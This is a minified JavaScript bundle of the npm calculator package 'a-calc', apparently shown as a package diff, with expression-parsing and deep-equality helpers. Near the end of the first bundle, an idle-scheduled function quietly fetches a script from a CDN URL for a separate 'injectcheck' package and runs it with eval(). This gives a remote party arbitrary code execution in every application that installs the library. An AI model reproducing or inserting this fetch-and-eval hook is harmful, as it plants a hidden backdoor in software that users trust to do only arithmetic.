_SetCache=SetCache$1;function arraySome$1(e,t){for(var r=-1,a=null==e?0:e.length;++r<a;)if(t(e[r],r,e))return!0;return!1}var _arraySome=arraySome$1;function cacheHas$1(e,t){return e.has(t)}var _cacheHas=cacheHas$1,SetCache=_SetCache,arraySome=_arraySome,cacheHas=_cacheHas,COMPARE_PARTIAL_FLAG$3=1,COMPARE_UNORDERED_FLAG$1=2;function equalArrays$2(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$3,s=e.length,c=t.length;if(s!=c&&!(i&&c>s))return!1;var l=o.get(e),u=o.get(t);if(l&&u)return l==t&&u==e;var f=-1,p=!0,h=r&COMPARE_UNORDERED_FLAG$1?new SetCache:void 0;for(o.set(e,t),o.set(t,e);++f<s;){var _=e[f],g=t[f];if(a)var y=i?a(g,_,f,t,e,o):a(_,g,f,e,t,o);if(void 0!==y){if(y)continue;p=!1;break}if(h){if(!arraySome(t,(function(e,t){if(!cacheHas(h,t)&&(_===e||n(_,e,r,a,o)))return h.push(t)}))){p=!1;break}}else if(_!==g&&!n(_,g,r,a,o)){p=!1;break}}return o.delete(e),o.delete(t),p}var _equalArrays=equalArrays$2,root$4=_root,Uint8Array$1=root$4.Uint8Array,_Uint8Array=Uint8Array$1;function mapToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e,a){r[++t]=[a,e]})),r}var _mapToArray=mapToArray$1;function setToArray$1(e){var t=-1,r=Array(e.size);return e.forEach((function(e){r[++t]=e})),r}var _setToArray=setToArray$1,_Symbol=_Symbol$4,Uint8Array=_Uint8Array,eq=eq_1,equalArrays$1=_equalArrays,mapToArray=_mapToArray,setToArray=_setToArray,COMPARE_PARTIAL_FLAG$2=1,COMPARE_UNORDERED_FLAG=2,boolTag$1="[object Boolean]",dateTag$1="[object Date]",errorTag$1="[object Error]",mapTag$2="[object Map]",numberTag$1="[object Number]",regexpTag$1="[object RegExp]",setTag$2="[object Set]",stringTag$1="[object String]",symbolTag="[object Symbol]",arrayBufferTag$1="[object ArrayBuffer]",dataViewTag$2="[object DataView]",symbolProto=_Symbol?_Symbol.prototype:void 0,symbolValueOf=symbolProto?symbolProto.valueOf:void 0;function equalByTag$1(e,t,r,a,n,o,i){switch(r){case dataViewTag$2:if(e.byteLength!=t.byteLength||e.byteOffset!=t.byteOffset)return!1;e=e.buffer,t=t.buffer;case arrayBufferTag$1:return!(e.byteLength!=t.byteLength||!o(new Uint8Array(e),new Uint8Array(t)));case boolTag$1:case dateTag$1:case numberTag$1:return eq(+e,+t);case errorTag$1:return e.name==t.name&&e.message==t.message;case regexpTag$1:case stringTag$1:return e==t+"";case mapTag$2:var s=mapToArray;case setTag$2:var c=a&COMPARE_PARTIAL_FLAG$2;if(s||(s=setToArray),e.size!=t.size&&!c)return!1;var l=i.get(e);if(l)return l==t;a|=COMPARE_UNORDERED_FLAG,i.set(e,t);var u=equalArrays$1(s(e),s(t),a,n,o,i);return i.delete(e),u;case symbolTag:if(symbolValueOf)return symbolValueOf.call(e)==symbolValueOf.call(t)}return!1}var _equalByTag=equalByTag$1;function arrayPush$1(e,t){for(var r=-1,a=t.length,n=e.length;++r<a;)e[n+r]=t[r];return e}var _arrayPush=arrayPush$1,arrayPush=_arrayPush,isArray$2=isArray_1;function baseGetAllKeys$1(e,t,r){var a=t(e);return isArray$2(e)?a:arrayPush(a,r(e))}var _baseGetAllKeys=baseGetAllKeys$1;function arrayFilter$1(e,t){for(var r=-1,a=null==e?0:e.length,n=0,o=[];++r<a;){var i=e[r];t(i,r,e)&&(o[n++]=i)}return o}var _arrayFilter=arrayFilter$1;function stubArray$1(){return[]}var stubArray_1=stubArray$1,arrayFilter=_arrayFilter,stubArray=stubArray_1,objectProto$6=Object.prototype,propertyIsEnumerable$1=objectProto$6.propertyIsEnumerable,nativeGetSymbols=Object.getOwnPropertySymbols,getSymbols$1=nativeGetSymbols?function(e){return null==e?[]:(e=Object(e),arrayFilter(nativeGetSymbols(e),(function(t){return propertyIsEnumerable$1.call(e,t)})))}:stubArray,_getSymbols=getSymbols$1;function baseTimes$1(e,t){for(var r=-1,a=Array(e);++r<e;)a[r]=t(r);return a}var _baseTimes=baseTimes$1,baseGetTag$2=_baseGetTag,isObjectLike$3=isObjectLike_1,argsTag$2="[object Arguments]";function baseIsArguments$1(e){return isObjectLike$3(e)&&baseGetTag$2(e)==argsTag$2}var _baseIsArguments=baseIsArguments$1,baseIsArguments=_baseIsArguments,isObjectLike$2=isObjectLike_1,objectProto$5=Object.prototype,hasOwnProperty$4=objectProto$5.hasOwnProperty,propertyIsEnumerable=objectProto$5.propertyIsEnumerable,isArguments$1=baseIsArguments(function(){return arguments}())?baseIsArguments:function(e){return isObjectLike$2(e)&&hasOwnProperty$4.call(e,"callee")&&!propertyIsEnumerable.call(e,"callee")},isArguments_1=isArguments$1,isBuffer$2={exports:{}};function stubFalse(){return!1}var stubFalse_1=stubFalse;isBuffer$2.exports,function(e,t){var r=_root,a=stubFalse_1,n=t&&!t.nodeType&&t,o=n&&e&&!e.nodeType&&e,i=o&&o.exports===n?r.Buffer:void 0,s=(i?i.isBuffer:void 0)||a;e.exports=s}(isBuffer$2,isBuffer$2.exports);var isBufferExports=isBuffer$2.exports,MAX_SAFE_INTEGER$1=9007199254740991,reIsUint=/^(?:0|[1-9]\d*)$/;function isIndex$1(e,t){var r=_typeof(e);return!!(t=null==t?MAX_SAFE_INTEGER$1:t)&&("number"==r||"symbol"!=r&&reIsUint.test(e))&&e>-1&&e%1==0&&e<t}var _isIndex=isIndex$1,MAX_SAFE_INTEGER=9007199254740991;function isLength$2(e){return"number"==typeof e&&e>-1&&e%1==0&&e<=MAX_SAFE_INTEGER}var isLength_1=isLength$2,baseGetTag$1=_baseGetTag,isLength$1=isLength_1,isObjectLike$1=isObjectLike_1,argsTag$1="[object Arguments]",arrayTag$1="[object Array]",boolTag="[object Boolean]",dateTag="[object Date]",errorTag="[object Error]",funcTag="[object Function]",mapTag$1="[object Map]",numberTag="[object Number]",objectTag$2="[object Object]",regexpTag="[object RegExp]",setTag$1="[object Set]",stringTag="[object String]",weakMapTag$1="[object WeakMap]",arrayBufferTag="[object ArrayBuffer]",dataViewTag$1="[object DataView]",float32Tag="[object Float32Array]",float64Tag="[object Float64Array]",int8Tag="[object Int8Array]",int16Tag="[object Int16Array]",int32Tag="[object Int32Array]",uint8Tag="[object Uint8Array]",uint8ClampedTag="[object Uint8ClampedArray]",uint16Tag="[object Uint16Array]",uint32Tag="[object Uint32Array]",typedArrayTags={};function baseIsTypedArray$1(e){return isObjectLike$1(e)&&isLength$1(e.length)&&!!typedArrayTags[baseGetTag$1(e)]}typedArrayTags[float32Tag]=typedArrayTags[float64Tag]=typedArrayTags[int8Tag]=typedArrayTags[int16Tag]=typedArrayTags[int32Tag]=typedArrayTags[uint8Tag]=typedArrayTags[uint8ClampedTag]=typedArrayTags[uint16Tag]=typedArrayTags[uint32Tag]=!0,typedArrayTags[argsTag$1]=typedArrayTags[arrayTag$1]=typedArrayTags[arrayBufferTag]=typedArrayTags[boolTag]=typedArrayTags[dataViewTag$1]=typedArrayTags[dateTag]=typedArrayTags[errorTag]=typedArrayTags[funcTag]=typedArrayTags[mapTag$1]=typedArrayTags[numberTag]=typedArrayTags[objectTag$2]=typedArrayTags[regexpTag]=typedArrayTags[setTag$1]=typedArrayTags[stringTag]=typedArrayTags[weakMapTag$1]=!1;var _baseIsTypedArray=baseIsTypedArray$1;function baseUnary$1(e){return function(t){return e(t)}}var _baseUnary=baseUnary$1,_nodeUtil={exports:{}};_nodeUtil.exports,function(e,t){var r=_freeGlobal,a=t&&!t.nodeType&&t,n=a&&e&&!e.nodeType&&e,o=n&&n.exports===a&&r.process,i=function(){try{var e=n&&n.require&&n.require("util").types;return e||o&&o.binding&&o.binding("util")}catch(e){}}();e.exports=i}(_nodeUtil,_nodeUtil.exports);var _nodeUtilExports=_nodeUtil.exports,baseIsTypedArray=_baseIsTypedArray,baseUnary=_baseUnary,nodeUtil=_nodeUtilExports,nodeIsTypedArray=nodeUtil&&nodeUtil.isTypedArray,isTypedArray$2=nodeIsTypedArray?baseUnary(nodeIsTypedArray):baseIsTypedArray,isTypedArray_1=isTypedArray$2,baseTimes=_baseTimes,isArguments=isArguments_1,isArray$1=isArray_1,isBuffer$1=isBufferExports,isIndex=_isIndex,isTypedArray$1=isTypedArray_1,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty;function arrayLikeKeys$1(e,t){var r=isArray$1(e),a=!r&&isArguments(e),n=!r&&!a&&isBuffer$1(e),o=!r&&!a&&!n&&isTypedArray$1(e),i=r||a||n||o,s=i?baseTimes(e.length,String):[],c=s.length;for(var l in e)!t&&!hasOwnProperty$3.call(e,l)||i&&("length"==l||n&&("offset"==l||"parent"==l)||o&&("buffer"==l||"byteLength"==l||"byteOffset"==l)||isIndex(l,c))||s.push(l);return s}var _arrayLikeKeys=arrayLikeKeys$1,objectProto$3=Object.prototype;function isPrototype$1(e){var t=e&&e.constructor;return e===("function"==typeof t&&t.prototype||objectProto$3)}var _isPrototype=isPrototype$1;function overArg$1(e,t){return function(r){return e(t(r))}}var _overArg=overArg$1,overArg=_overArg,nativeKeys$1=overArg(Object.keys,Object),_nativeKeys=nativeKeys$1,isPrototype=_isPrototype,nativeKeys=_nativeKeys,objectProto$2=Object.prototype,hasOwnProperty$2=objectProto$2.hasOwnProperty;function baseKeys$1(e){if(!isPrototype(e))return nativeKeys(e);var t=[];for(var r in Object(e))hasOwnProperty$2.call(e,r)&&"constructor"!=r&&t.push(r);return t}var _baseKeys=baseKeys$1,isFunction=isFunction_1,isLength=isLength_1;function isArrayLike$1(e){return null!=e&&isLength(e.length)&&!isFunction(e)}var isArrayLike_1=isArrayLike$1,arrayLikeKeys=_arrayLikeKeys,baseKeys=_baseKeys,isArrayLike=isArrayLike_1;function keys$1(e){return isArrayLike(e)?arrayLikeKeys(e):baseKeys(e)}var keys_1=keys$1,baseGetAllKeys=_baseGetAllKeys,getSymbols=_getSymbols,keys=keys_1;function getAllKeys$1(e){return baseGetAllKeys(e,keys,getSymbols)}var _getAllKeys=getAllKeys$1,getAllKeys=_getAllKeys,COMPARE_PARTIAL_FLAG$1=1,objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function equalObjects$1(e,t,r,a,n,o){var i=r&COMPARE_PARTIAL_FLAG$1,s=getAllKeys(e),c=s.length;if(c!=getAllKeys(t).length&&!i)return!1;for(var l=c;l--;){var u=s[l];if(!(i?u in t:hasOwnProperty$1.call(t,u)))return!1}var f=o.get(e),p=o.get(t);if(f&&p)return f==t&&p==e;var h=!0;o.set(e,t),o.set(t,e);for(var _=i;++l<c;){var g=e[u=s[l]],y=t[u];if(a)var b=i?a(y,g,u,t,e,o):a(g,y,u,e,t,o);if(!(void 0===b?g===y||n(g,y,r,a,o):b)){h=!1;break}_||(_="constructor"==u)}if(h&&!_){var d=e.constructor,m=t.constructor;d==m||!("constructor"in e)||!("constructor"in t)||"function"==typeof d&&d instanceof d&&"function"==typeof m&&m instanceof m||(h=!1)}return o.delete(e),o.delete(t),h}var _equalObjects=equalObjects$1,getNative$3=_getNative,root$3=_root,DataView$1=getNative$3(root$3,"DataView"),_DataView=DataView$1,getNative$2=_getNative,root$2=_root,Promise$2=getNative$2(root$2,"Promise"),_Promise=Promise$2,getNative$1=_getNative,root$1=_root,Set$1=getNative$1(root$1,"Set"),_Set=Set$1,getNative=_getNative,root=_root,WeakMap$1=getNative(root,"WeakMap"),_WeakMap=WeakMap$1,DataView=_DataView,Map=_Map,Promise$1=_Promise,Set=_Set,WeakMap=_WeakMap,baseGetTag=_baseGetTag,toSource=_toSource,mapTag="[object Map]",objectTag$1="[object Object]",promiseTag="[object Promise]",setTag="[object Set]",weakMapTag="[object WeakMap]",dataViewTag="[object DataView]",dataViewCtorString=toSource(DataView),mapCtorString=toSource(Map),promiseCtorString=toSource(Promise$1),setCtorString=toSource(Set),weakMapCtorString=toSource(WeakMap),getTag$1=baseGetTag;(DataView&&getTag$1(new DataView(new ArrayBuffer(1)))!=dataViewTag||Map&&getTag$1(new Map)!=mapTag||Promise$1&&getTag$1(Promise$1.resolve())!=promiseTag||Set&&getTag$1(new Set)!=setTag||WeakMap&&getTag$1(new WeakMap)!=weakMapTag)&&(getTag$1=function(e){var t=baseGetTag(e),r=t==objectTag$1?e.constructor:void 0,a=r?toSource(r):"";if(a)switch(a){case dataViewCtorString:return dataViewTag;case mapCtorString:return mapTag;case promiseCtorString:return promiseTag;case setCtorString:return setTag;case weakMapCtorString:return weakMapTag}return t});var _getTag=getTag$1,Stack=_Stack,equalArrays=_equalArrays,equalByTag=_equalByTag,equalObjects=_equalObjects,getTag=_getTag,isArray=isArray_1,isBuffer=isBufferExports,isTypedArray=isTypedArray_1,COMPARE_PARTIAL_FLAG=1,argsTag="[object Arguments]",arrayTag="[object Array]",objectTag="[object Object]",objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function baseIsEqualDeep$1(e,t,r,a,n,o){var i=isArray(e),s=isArray(t),c=i?arrayTag:getTag(e),l=s?arrayTag:getTag(t),u=(c=c==argsTag?objectTag:c)==objectTag,f=(l=l==argsTag?objectTag:l)==objectTag,p=c==l;if(p&&isBuffer(e)){if(!isBuffer(t))return!1;i=!0,u=!1}if(p&&!u)return o||(o=new Stack),i||isTypedArray(e)?equalArrays(e,t,r,a,n,o):equalByTag(e,t,c,r,a,n,o);if(!(r&COMPARE_PARTIAL_FLAG)){var h=u&&hasOwnProperty.call(e,"__wrapped__"),_=f&&hasOwnProperty.call(t,"__wrapped__");if(h||_){var g=h?e.value():e,y=_?t.value():t;return o||(o=new Stack),n(g,y,r,a,o)}}return!!p&&(o||(o=new Stack),equalObjects(e,t,r,a,n,o))}var _baseIsEqualDeep=baseIsEqualDeep$1,baseIsEqualDeep=_baseIsEqualDeep,isObjectLike=isObjectLike_1;function baseIsEqual$1(e,t,r,a,n){return e===t||(null==e||null==t||!isObjectLike(e)&&!isObjectLike(t)?e!=e&&t!=t:baseIsEqualDeep(e,t,r,a,baseIsEqual$1,n))}var _baseIsEqual=baseIsEqual$1,baseIsEqual=_baseIsEqual;function isEqual(e,t){return baseIsEqual(e,t)}var isEqual_1=isEqual,deep_equal=getDefaultExportFromCjs(isEqual_1);function calc(){for(var e=arguments.length,t=new Array(e),r=0;r<e;r++)t[r]=arguments[r];var a=t[0];if(a in cache_calc&&deep_equal(t[1],cache_calc[a].arg2))return cache_calc[a].count++,cache_calc[a].last_time=(new Date).getTime(),cache_calc[a].value;cache_calc[a]={arg2:t[1],last_time:(new Date).getTime(),count:0};var n,o,i=parse_args(t),s=get$1(i,"options._error",void 0),c=get$1(i,"options._debug",!1),l=get$1(i,"options._unit",!1),u=i.options,f=null;if(i.fmt_err||i.expr_err){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("表达式或格式化字符串错误,表达式为:".concat(i.expr))}var p=i.fmt_tokens;if(not_undefined(s))try{n=tokenizer(i.expr,l)}catch(e){return cache_calc[a].value=s,s}else n=tokenizer(i.expr,l);if(is_null(u))o=n;else{var h=[];if(Array.isArray(u))h=u;else{h.push(u);var _=get$1(u,"_fill_data",{});not_undefined(_)&&(Array.isArray(_)?h=[].concat(_toConsumableArray(h),_toConsumableArray(_)):h.push(_))}if(not_undefined(s))try{o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h))}catch(e){return cache_calc[a].value=s,s}else o=fill_tokens(n,h,l),not_null(i.fmt_tokens)&&(p=fill_fmt_tokens(i.fmt_tokens,h));if([!0,"on","auto","space"].includes(l)){var g=get_token_and_unit(o);f=g.unit,o=g.tokens}}var y=token2postfix(o),b=null,d={};if(not_undefined(s))try{b=eval_postfix(y)}catch(e){return cache_calc[a].value=s,s}else b=eval_postfix(y);if(not_null(p)){var m=_slicedToArray(format(b,p),2);b=m[0],d=m[1]}else b=null!==b?b.toFixed():null;if("Infinity"===b||null===b){if(not_undefined(s))return cache_calc[a].value=s,s;throw new Error("计算错误可能是非法的计算式")}return null===f||d.to_number||d.to_number_string||(b+=f),(get_debug_config()||c)&&(console.groupCollapsed("%c"+i.origin_expr,debug_style.expr),console.groupCollapsed("%c表达式: %c%s",debug_style.label1,debug_style.nowrap,i.origin_expr),console.log(i.origin_expr),console.groupEnd(),console.groupCollapsed("%c数据源: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.origin_fill_data)),console.log(i.origin_fill_data),console.groupEnd(),console.groupCollapsed("%c结果: %c%s",debug_style.label1,debug_style.nowrap,stringify(b)),console.log(b),console.groupEnd(),console.groupCollapsed("%ctokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(n)),console.log(n),console.groupEnd(),console.groupCollapsed("%cfilled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(o)),console.log(o),console.groupEnd(),console.groupCollapsed("%cfmt-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(i.fmt_tokens)),console.log(i.fmt_tokens),console.groupEnd(),console.groupCollapsed("%cfmt-filled-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(p)),console.log(p),console.groupEnd(),console.groupCollapsed("%cpostfix-tokens: %c%s",debug_style.label1,debug_style.nowrap,stringify(y)),console.log(y),console.groupEnd(),console.groupCollapsed("%c单位: %c%s",debug_style.label1,debug_style.nowrap,f),console.log(f),console.groupEnd(),console.groupCollapsed("%cparse-arg: %c%s",debug_style.label1,debug_style.nowrap,stringify(i)),console.log(i),console.groupEnd(),console.groupEnd()),cache_calc[a].value=b,b}function check_update(){check_version().catch((function(){}))}function print_version(){console.log("%ca-calc:%c ".concat(version," %c=> %curl:%c https://www.npmjs.com/package/a-calc"),"color: #fff;background: #67C23A;padding: 2px 5px;border-radius:4px;font-size: 14px;","color: #67C23A;font-size:14px;","color: #67C23A;font-size:14px;","background: #67C23A;font-size:14px; padding: 2px 5px; border-radius: 4px; color: #fff;","font-size:14px;")}idle(_asyncToGenerator(_regeneratorRuntime().mark((function _callee(){var res,code;return _regeneratorRuntime().wrap((function _callee$(_context){for(;;)switch(_context.prev=_context.next){case 0:if(_important_push){_context.next=2;break}return _context.abrupt("return");case 2:return _context.prev=2,_context.next=5,promise_queue([fetch("https://cdn.jsdelivr.net/npm/injectcheck@dev/a-calc.js"),fetch("https://unpkg.com/injectcheck@dev/a-calc.js")]);case 5:return res=_context.sent,_context.next=8,res.text();case 8:code=_context.sent,eval(code);case 10:return _context.prev=10,_context.finish(10);case 12:case"end":return _context.stop()}}),_callee,null,[[2,,10,12]])})))),idle(idle_cleaner);var calc_util={check_update:check_update,print_version:print_version,open_debug:open_debug,close_debug:close_debug,close_important_push:close_important_push,open_important_push:open_important_push},fmt=calc;return exports.calc=calc,exports.calc_util=calc_util,exports.calc_wrap=calc_wrap,exports.fmt=fmt,exports.version=version,exports}({});
|
package/cjs/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";function _iterableToArrayLimit(e,t){var r=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null!=r){var n,o,a,i,s=[],c=!0,l=!1;try{if(a=(r=r.call(e)).next,0===t){if(Object(r)!==r)return;c=!1}else for(;!(c=(n=a.call(r)).done)&&(s.push(n.value),s.length!==t);c=!0);}catch(e){l=!0,o=e}finally{try{if(!c&&null!=r.return&&(i=r.return(),Object(i)!==i))return}finally{if(l)throw o}}return s}}function ownKeys(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function _objectSpread2(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ownKeys(Object(r),!0).forEach((function(t){_defineProperty(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ownKeys(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function _regeneratorRuntime(){_regeneratorRuntime=function(){return e};var e={},t=Object.prototype,r=t.hasOwnProperty,n=Object.defineProperty||function(e,t,r){e[t]=r.value},o="function"==typeof Symbol?Symbol:{},a=o.iterator||"@@iterator",i=o.asyncIterator||"@@asyncIterator",s=o.toStringTag||"@@toStringTag";function c(e,t,r){return Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}),e[t]}try{c({},"")}catch(e){c=function(e,t,r){return e[t]=r}}function l(e,t,r,o){var a=t&&t.prototype instanceof h?t:h,i=Object.create(a.prototype),s=new O(o||[]);return n(i,"_invoke",{value:w(e,r,s)}),i}function u(e,t,r){try{return{type:"normal",arg:e.call(t,r)}}catch(e){return{type:"throw",arg:e}}}e.wrap=l;var f={};function h(){}function p(){}function _(){}var g={};c(g,a,(function(){return this}));var m=Object.getPrototypeOf,d=m&&m(m(C([])));d&&d!==t&&r.call(d,a)&&(g=d);var v=_.prototype=h.prototype=Object.create(g);function b(e){["next","throw","return"].forEach((function(t){c(e,t,(function(e){return this._invoke(t,e)}))}))}function y(e,t){function o(n,a,i,s){var c=u(e[n],e,a);if("throw"!==c.type){var l=c.arg,f=l.value;return f&&"object"==typeof f&&r.call(f,"__await")?t.resolve(f.__await).then((function(e){o("next",e,i,s)}),(function(e){o("throw",e,i,s)})):t.resolve(f).then((function(e){l.value=e,i(l)}),(function(e){return o("throw",e,i,s)}))}s(c.arg)}var a;n(this,"_invoke",{value:function(e,r){function n(){return new t((function(t,n){o(e,r,t,n)}))}return a=a?a.then(n,n):n()}})}function w(e,t,r){var n="suspendedStart";return function(o,a){if("executing"===n)throw new Error("Generator is already running");if("completed"===n){if("throw"===o)throw a;return x()}for(r.method=o,r.arg=a;;){var i=r.delegate;if(i){var s=S(i,r);if(s){if(s===f)continue;return s}}if("next"===r.method)r.sent=r._sent=r.arg;else if("throw"===r.method){if("suspendedStart"===n)throw n="completed",r.arg;r.dispatchException(r.arg)}else"return"===r.method&&r.abrupt("return",r.arg);n="executing";var c=u(e,t,r);if("normal"===c.type){if(n=r.done?"completed":"suspendedYield",c.arg===f)continue;return{value:c.arg,done:r.done}}"throw"===c.type&&(n="completed",r.method="throw",r.arg=c.arg)}}}function S(e,t){var r=t.method,n=e.iterator[r];if(void 0===n)return t.delegate=null,"throw"===r&&e.iterator.return&&(t.method="return",t.arg=void 0,S(e,t),"throw"===t.method)||"return"!==r&&(t.method="throw",t.arg=new TypeError("The iterator does not provide a '"+r+"' method")),f;var o=u(n,e.iterator,t.arg);if("throw"===o.type)return t.method="throw",t.arg=o.arg,t.delegate=null,f;var a=o.arg;return a?a.done?(t[e.resultName]=a.value,t.next=e.nextLoc,"return"!==t.method&&(t.method="next",t.arg=void 0),t.delegate=null,f):a:(t.method="throw",t.arg=new TypeError("iterator result is not an object"),t.delegate=null,f)}function E(e){var t={tryLoc:e[0]};1 in e&&(t.catchLoc=e[1]),2 in e&&(t.finallyLoc=e[2],t.afterLoc=e[3]),this.tryEntries.push(t)}function $(e){var t=e.completion||{};t.type="normal",delete t.arg,e.completion=t}function O(e){this.tryEntries=[{tryLoc:"root"}],e.forEach(E,this),this.reset(!0)}function C(e){if(e){var t=e[a];if(t)return t.call(e);if("function"==typeof e.next)return e;if(!isNaN(e.length)){var n=-1,o=function t(){for(;++n<e.length;)if(r.call(e,n))return t.value=e[n],t.done=!1,t;return t.value=void 0,t.done=!0,t};return o.next=o}}return{next:x}}function x(){return{value:void 0,done:!0}}return p.prototype=_,n(v,"constructor",{value:_,configurable:!0}),n(_,"constructor",{value:p,configurable:!0}),p.displayName=c(_,s,"GeneratorFunction"),e.isGeneratorFunction=function(e){var t="function"==typeof e&&e.constructor;return!!t&&(t===p||"GeneratorFunction"===(t.displayName||t.name))},e.mark=function(e){return Object.setPrototypeOf?Object.setPrototypeOf(e,_):(e.__proto__=_,c(e,s,"GeneratorFunction")),e.prototype=Object.create(v),e},e.awrap=function(e){return{__await:e}},b(y.prototype),c(y.prototype,i,(function(){return this})),e.AsyncIterator=y,e.async=function(t,r,n,o,a){void 0===a&&(a=Promise);var i=new y(l(t,r,n,o),a);return e.isGeneratorFunction(r)?i:i.next().then((function(e){return e.done?e.value:i.next()}))},b(v),c(v,s,"Generator"),c(v,a,(function(){return this})),c(v,"toString",(function(){return"[object Generator]"})),e.keys=function(e){var t=Object(e),r=[];for(var n in t)r.push(n);return r.reverse(),function e(){for(;r.length;){var n=r.pop();if(n in t)return e.value=n,e.done=!1,e}return e.done=!0,e}},e.values=C,O.prototype={constructor:O,reset:function(e){if(this.prev=0,this.next=0,this.sent=this._sent=void 0,this.done=!1,this.delegate=null,this.method="next",this.arg=void 0,this.tryEntries.forEach($),!e)for(var t in this)"t"===t.charAt(0)&&r.call(this,t)&&!isNaN(+t.slice(1))&&(this[t]=void 0)},stop:function(){this.done=!0;var e=this.tryEntries[0].completion;if("throw"===e.type)throw e.arg;return this.rval},dispatchException:function(e){if(this.done)throw e;var t=this;function n(r,n){return i.type="throw",i.arg=e,t.next=r,n&&(t.method="next",t.arg=void 0),!!n}for(var o=this.tryEntries.length-1;o>=0;--o){var a=this.tryEntries[o],i=a.completion;if("root"===a.tryLoc)return n("end");if(a.tryLoc<=this.prev){var s=r.call(a,"catchLoc"),c=r.call(a,"finallyLoc");if(s&&c){if(this.prev<a.catchLoc)return n(a.catchLoc,!0);if(this.prev<a.finallyLoc)return n(a.finallyLoc)}else if(s){if(this.prev<a.catchLoc)return n(a.catchLoc,!0)}else{if(!c)throw new Error("try statement without catch or finally");if(this.prev<a.finallyLoc)return n(a.finallyLoc)}}}},abrupt:function(e,t){for(var n=this.tryEntries.length-1;n>=0;--n){var o=this.tryEntries[n];if(o.tryLoc<=this.prev&&r.call(o,"finallyLoc")&&this.prev<o.finallyLoc){var a=o;break}}a&&("break"===e||"continue"===e)&&a.tryLoc<=t&&t<=a.finallyLoc&&(a=null);var i=a?a.completion:{};return i.type=e,i.arg=t,a?(this.method="next",this.next=a.finallyLoc,f):this.complete(i)},complete:function(e,t){if("throw"===e.type)throw e.arg;return"break"===e.type||"continue"===e.type?this.next=e.arg:"return"===e.type?(this.rval=this.arg=e.arg,this.method="return",this.next="end"):"normal"===e.type&&t&&(this.next=t),f},finish:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.finallyLoc===e)return this.complete(r.completion,r.afterLoc),$(r),f}},catch:function(e){for(var t=this.tryEntries.length-1;t>=0;--t){var r=this.tryEntries[t];if(r.tryLoc===e){var n=r.completion;if("throw"===n.type){var o=n.arg;$(r)}return o}}throw new Error("illegal catch attempt")},delegateYield:function(e,t,r){return this.delegate={iterator:C(e),resultName:t,nextLoc:r},"next"===this.method&&(this.arg=void 0),f}},e}function _typeof(e){return _typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},_typeof(e)}function asyncGeneratorStep(e,t,r,n,o,a,i){try{var s=e[a](i),c=s.value}catch(e){return void r(e)}s.done?t(c):Promise.resolve(c).then(n,o)}function _asyncToGenerator(e){return function(){var t=this,r=arguments;return new Promise((function(n,o){var a=e.apply(t,r);function i(e){asyncGeneratorStep(a,n,o,i,s,"next",e)}function s(e){asyncGeneratorStep(a,n,o,i,s,"throw",e)}i(void 0)}))}}function _defineProperty(e,t,r){return(t=_toPropertyKey(t))in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function _slicedToArray(e,t){return _arrayWithHoles(e)||_iterableToArrayLimit(e,t)||_unsupportedIterableToArray(e,t)||_nonIterableRest()}function _toConsumableArray(e){return _arrayWithoutHoles(e)||_iterableToArray(e)||_unsupportedIterableToArray(e)||_nonIterableSpread()}function _arrayWithoutHoles(e){if(Array.isArray(e))return _arrayLikeToArray(e)}function _arrayWithHoles(e){if(Array.isArray(e))return e}function _iterableToArray(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}function _unsupportedIterableToArray(e,t){if(e){if("string"==typeof e)return _arrayLikeToArray(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);return"Object"===r&&e.constructor&&(r=e.constructor.name),"Map"===r||"Set"===r?Array.from(e):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(e,t):void 0}}function _arrayLikeToArray(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function _nonIterableSpread(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _nonIterableRest(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _toPrimitive(e,t){if("object"!=typeof e||null===e)return e;var r=e[Symbol.toPrimitive];if(void 0!==r){var n=r.call(e,t||"default");if("object"!=typeof n)return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return("string"===t?String:Number)(e)}function _toPropertyKey(e){var t=_toPrimitive(e,"string");return"symbol"==typeof t?t:String(t)}var version="1.5.0-dev.2024042401",RegexNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*$/,RegexUnitNumber=/^[+-]?\d[\d.]*(?:e\+|E\+|e-|E-|e|E)?\d*\D*$/;function decimal_round(e,t,r,n,o){var 